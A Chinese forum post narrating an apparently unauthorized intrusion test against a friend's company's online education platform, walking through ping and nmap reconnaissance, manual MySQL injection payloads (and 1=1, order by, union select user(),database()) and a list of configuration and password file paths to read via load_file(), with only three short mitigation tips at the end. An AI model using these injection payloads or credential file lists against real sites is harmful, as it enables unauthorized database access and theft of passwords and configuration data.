找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2052|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
题记:5 e. H- Z/ w7 _% P
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……- ~! k: j, N8 g5 S3 g( f4 j6 j
第一步:获取需要的信息
1 p: l4 R# m% e% E1 C由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
7 ^2 _6 N9 M- q$ F6 J9 O0 {8 {注:以下为保护特用XXX代替敏感信息* F* j. u8 j- i" r# a+ i$ {
顺手先PING了一下他们的域名:
) a4 A# S0 Q+ G. Bping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
$ C. m1 F# M7 ?4 L, A9 D9 B  A! D64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms7 U$ c, l9 ~8 B% Y0 N- m5 t
顺便了解一下TTL,学好基础知识才能一路顺风:
0 q: ]5 T1 a' ^% F7 V( ^TTL:(Time To Live ) 生存时间; @  Y4 |  ~) Y/ `
指定数据包被路由器丢弃之前允许通过的网段数量。2 x6 r. a2 J: u/ h. S  p  C
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。- u0 s7 v& N  C7 H8 {9 x! z( F' }
使用PING时涉及到的 ICMP 报文类型' `& |$ j$ y- p
一个为ICMP请求回显(ICMP Echo Request)
' g2 s0 ~* ~6 q, [9 ~4 k& D一个为ICMP回显应答(ICMP Echo Reply)
! w+ @5 E* i) S4 d1 [1 J9 PTTL 字段值可以帮助我们识别操作系统类型。+ ?% q3 W+ a6 G/ J
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
! c; G4 \/ g, H7 KCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
) g3 O$ I3 ^( c7 A4 t, v3 f微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128  `. g5 g6 L5 z+ }0 [. |
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 325 q# X" g4 Z4 Z: Q) |* u
当然,返回的TTL值是相同的
" A. x( Q" z: l* M7 d但有些情况下有所特殊4 S  ?0 u2 M! G# w0 g6 D9 j( [- ?
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
; h. W1 r1 H5 ?  \' SFreeBSD 4.1, 4.0, 3.4;
+ ?" I- k$ ?/ iSun Solaris 2.5.1, 2.6, 2.7, 2.8;
. u2 _* z  J0 }0 o' @( ?OpenBSD 2.6, 2.7,8 a% ^$ _4 l* M% m' q% S
NetBSD) z$ k9 L) Q+ ]5 o9 j7 j  w. o; t
HP UX 10.20( \  Y: o) y8 S+ ]. s1 X8 \
ICMP 回显应答的 TTL 字段值为 255
* e$ j! R2 [+ j% }Windows 95/98/98SE
$ S* Q* l7 [* v  G0 @4 rWindows ME4 J0 G1 A0 u& L* R& y: U% E) y
ICMP 回显应答的 TTL 字段值为 32+ V+ s. n3 v1 v4 H" r* }/ E9 @* e
Windows NT4 WRKS5 {. Q' S6 t" b0 W
Windows NT4 Server
" H% m( C5 X9 R( k7 P% A2 cWindows 2000
3 C; |6 {7 V$ L* B3 L) ^8 PWindows XP4 J- P9 m  k( D9 L8 k1 b- k7 U- a
ICMP 回显应答的 TTL 字段值为 1289 ?5 x/ t( B& h0 T! M
这样,我们就可以通过这种方法来辨别操作系统
7 X! b7 k3 l  @/ _- ATTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
, w; X# O! ~2 {2 h& O# G用NMAP扫描一下:7 k9 |$ }$ G% U, _3 ^
nmap -sT -O XXX.XXX.XXX.XXX. _5 [! e# F3 ]. [! C; I
如果没有装WinPcap则会弹出提示:
: O. r) b* m( D& _- R( lWARNING: Could not import all necessary WinPcap functions.  You may need to upgr
( z3 K5 z% ^+ @* Made to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(5 R" S0 M. j1 {: D
) mode — Nmap may not function completely* }4 g* E4 R8 J% P9 n0 C/ G% ?
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
4 m( ]4 l) n& J4 nand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
( W+ v' v3 {5 Tpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an+ b$ C) h; l3 j+ ]/ G6 w: M
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v6 I/ A) l( w( n! h/ F) x5 B: m
ersions, you may be able to take iphlpapi.dll from another system and place it i6 F7 h: E  I) j3 ^- b. r* v/ a: F
n your system32 dir (e.g. c:\windows\system32).( J* {* G6 V" i* e6 ]
QUITTING!: a7 @" ]  [. {4 g0 z2 @1 i
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
7 ]  s; z# A" q) @安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
7 I3 y( d7 a8 QInteresting ports on XXX.XXX.XXX.XXX:! `& C* d6 b/ A
Not shown: 986 closed ports# d# L9 o* `0 B$ ?; l! O
PORT     STATE    SERVICE
2 [' L4 S) c& D0 T6 h21/tcp   open     ftp" i3 x/ V# g1 O. A! u
22/tcp   open     ssh* R- }  Q4 m" o) ^2 h
23/tcp   open     telnet
( O7 r" G6 E" L3 o80/tcp   open     http
+ i& h8 G$ l- L0 W# u8 Z111/tcp  open     rpcbind' R8 ]2 e$ p- T( g
135/tcp  filtered msrpc
% T2 ^8 k3 t! L! u6 g0 |* v6 d; _( v139/tcp  filtered netbios-ssn
3 H  i. W) \& ~  @0 R2 n0 ?1 ]445/tcp  filtered microsoft-ds/ i  Z) M! O: w/ h1 y
513/tcp  open     login
6 H9 L/ l3 ]/ ^0 ^514/tcp  open     shell
; f. o  T$ Q2 T! ~  O593/tcp  filtered http-rpc-epmap
7 o& ?8 }+ ]+ C) m9 v6 R/ J1720/tcp filtered H.323/Q.931
/ |3 ^: V* ^- g- h3306/tcp open     mysql$ g( P, n' j) [, M$ z
4444/tcp filtered krb524
- w+ A! |0 X4 g' ADevice type: WAP: k- A/ [5 T. u1 _
Running: Linux 2.4.X' q7 d  u( h! H1 L8 |. V- v
OS details: DD-WRT (Linux 2.4.35s)
' O9 t3 m, w$ ^9 uNetwork Distance: 13 hops% T  j7 a( ~! E; t1 A( Z9 \
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
7 t* h) s" u# }5 z, j' Z8 ologin as:+ g- T5 H6 ]' `/ g# o
Telnet23端口也是开着的,用telnet 命令链接一下:
) \, [5 S7 k' }2 Itelnet XXX.XXX.XXX.XXX
( H$ p1 }9 Q% q* ~" M4 u提示:0 m/ L4 v5 n: E. M
Red Hat Enterprise Linux Server release 5.2 (Tikanga)/ a) J" B; j! v9 Z+ t  T
Kernel 2.6.18-92.el5PAE on an i686/ X! V" V# W7 q* J& k3 y
login:
, O. |$ I6 ~! A+ J, y& H3 Z获取HTTP头信息:
8 p% F" ]) i  c/ V0 G, _在本地执行如下PHP代码; L, [5 l# Y* ]( p
<?php! U1 M! l7 H8 w" h/ Q
$url = ‘XXX.XXX.XXX.XXX’;7 t( Q9 S2 [! m) M2 r
print_r(get_headers($url));# T7 I# Q4 w& k- }
print_r(get_headers($url, 1));
; y( D7 u- a) }) n. D$ q+ C' w?>5 \8 V! b+ U8 q0 K; R! c
将以上代码保存为PHP文件,执行:' M$ p' q# J/ y0 c3 G! J& s
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
6 E8 @# y% d% d/ \  ~& ?3 d现在可以得出结论:
5 s5 d8 W% X+ v0 p" p6 e* q系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)5 @9 k) u! k. w
内核版本:Kernel 2.6.18-92.el5PAE on an i686* B. l2 J5 A; ?8 ~+ p+ m
WEB服务器版本:nginx/0.7.61
, J; Q6 o, _+ [5 \' g第二步,开始测试寻找漏洞: ]7 {$ u8 F* D/ }1 f* T5 f
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
' a! v8 z! B* u& Q8 R7 H# K1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
- a3 l: i& x4 \  ?0 _9 U' o3 }. ^2、测试方法:在地址后加 and 1=1 和 and 1=2 测试% ~% c5 u3 @0 X1 K+ x
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常; x' r$ Z0 C" u' W
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误. \3 A$ X. o9 ~7 h) \6 ]
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续1 U+ s- Z" p- ~
3、手工注入:
: E4 X' C5 }& i" F! J6 P! Y$ n注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。  R) i; G2 X; E' S5 D6 O
3.1 猜测当前表字段数
0 T$ ?8 q: p5 _- k# M1 \; }http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
! E1 q% P6 ?3 @) ~此处猜测有个简单的算法,都是有技巧的吗,呵呵
5 s2 n5 v7 w4 T& S7 a算法简单如下:8 t" Z  E2 C  \/ e2 y! Z6 c
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
+ v5 A! |3 Z5 W% @* B: o第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;) \* m7 v3 H6 J- d  `) N
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
) d5 m+ {! `. I  u: h5 i+ y4 h以此来判断,是否过界,配合取中算法猜出字段数。# i  B# w  ]: f! B. c# o* B
举例:' ]( D7 `1 r0 B+ o' o
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常) @- Z4 p0 A6 O
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
' ^6 d" r8 ?6 i5 g$ z3 h此时3则为我们要找的字段数。
! z; g: I. ^+ y3.2 配合union联合查询字段在页面所位置
9 J5 V' s% P( A3 O8 I! \我们已经知道了字段数为3,此时则可以做如下操作:8 |$ r& m+ g9 _' m. ~% Z- H
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
# n$ W' A8 ]8 a0 ]/ U9 a" S* r" s2 E2 x9 y. a
这样就可以测试到哪些字段在页面上有所显示了,如图:
( n+ J, Q4 f  t
& Q: o& f4 V3 x3.3 查敏感信息
4 z7 m* Z& ^+ p3 v( S- ^这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。, M* o2 k( J/ X5 S9 n6 |
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database(); q: M8 k6 W( K" L1 q
3.3.1 先查数据库用户、数据库名,以备后用,如图:6 l- a* w+ p/ D4 t

* `, m8 D$ l0 {6 `6 m' C得到数据库用户为root、数据库名为DBxx;
# B$ ]' F% d) a8 M3.3.2 查配置文件
6 R: T9 c  j8 ]# D4 T6 K6 z9 v1 ~查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
- W7 S8 O5 M/ |  g! x2 Q3 P6 [查看文件有一定的条件限制:
& Q/ E, E" b$ ]! N# Y3 t; C欲读取文件必须在服务器上( k2 Q6 e6 u, G
必须指定文件完整的路径
% U) }* J  e, |( u3 F% g9 O/ A必须有权限读取并且文件必须完全可读% D& U- x6 g' }( [
欲读取文件必须小于 max_allowed_packet- r, k' J2 k$ _) F2 ~
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
/ \+ l( y* C" e/ g7 O/ c常用的一些:
2 g6 b$ e# Y1 m  j/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
- Q/ D" [, ]: Q/ T% A& R/usr/local/apache2/conf/httpd.conf; i4 b; f, C2 N2 \; g, L
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置6 i# C; ], B& Y2 E6 L- c
/usr/local/app/php5/lib/php.ini //PHP相关设置
: c4 N2 Q. L9 g0 Y4 [% t. d/etc/sysconfig/iptables //从中得到防火墙规则策略, P7 B9 Z, T9 y1 Z- L
/etc/httpd/conf/httpd.conf // apache配置文件
/ [2 p% A) v5 t" n4 I/etc/rsyncd.conf //同步程序配置文件% `; K2 b9 G8 f# A, x# N4 P
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/ h  C4 w6 v9 d! I/ S* y/etc/my.cnf //mysql的配置文件5 Y- r; D- `3 y7 J0 e5 Q
/etc/redhat-release //系统版本
# l6 R( N& P6 v0 j/ E' c& ], ^/etc/issue
+ [2 B+ ~( n; P' B( Z* t/etc/issue.net
3 w( M5 ]$ _. Z' f$ gc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码1 ~2 G6 L0 z; m) {- _/ D6 C
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码3 E: ], Q  m7 b! w% n; E
c:\Program Files\Serv-U\ServUDaemon.ini# Q+ Y5 ^3 Z1 S9 w8 T
c:\windows\my.ini //MYSQL配置文件# l) Q2 U& l5 Z( I9 O
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件: e' r1 P% F5 y( K% o
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
0 Y: W" g+ B' A5 X" Yc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
" F: C/ S" b+ n* u, j' ]! oc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此3 O; _! R" H/ v) o) w6 J' s: b
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
& |6 e4 v" Q: Z  }( pC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件$ k* {  q% d8 P
//存储了pcAnywhere的登陆密码
# @! c: a9 O" c由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。# l7 @5 e) q9 {
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
- x9 V+ U# @2 r9 o最后:防范措施
5 Y# F' ]# x( p, j: \1、修复PHP注入漏洞;
8 V3 c  d5 ]  B2、Mysql使用普通权限的用户;
, ]% b& d/ f3 g+ D3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表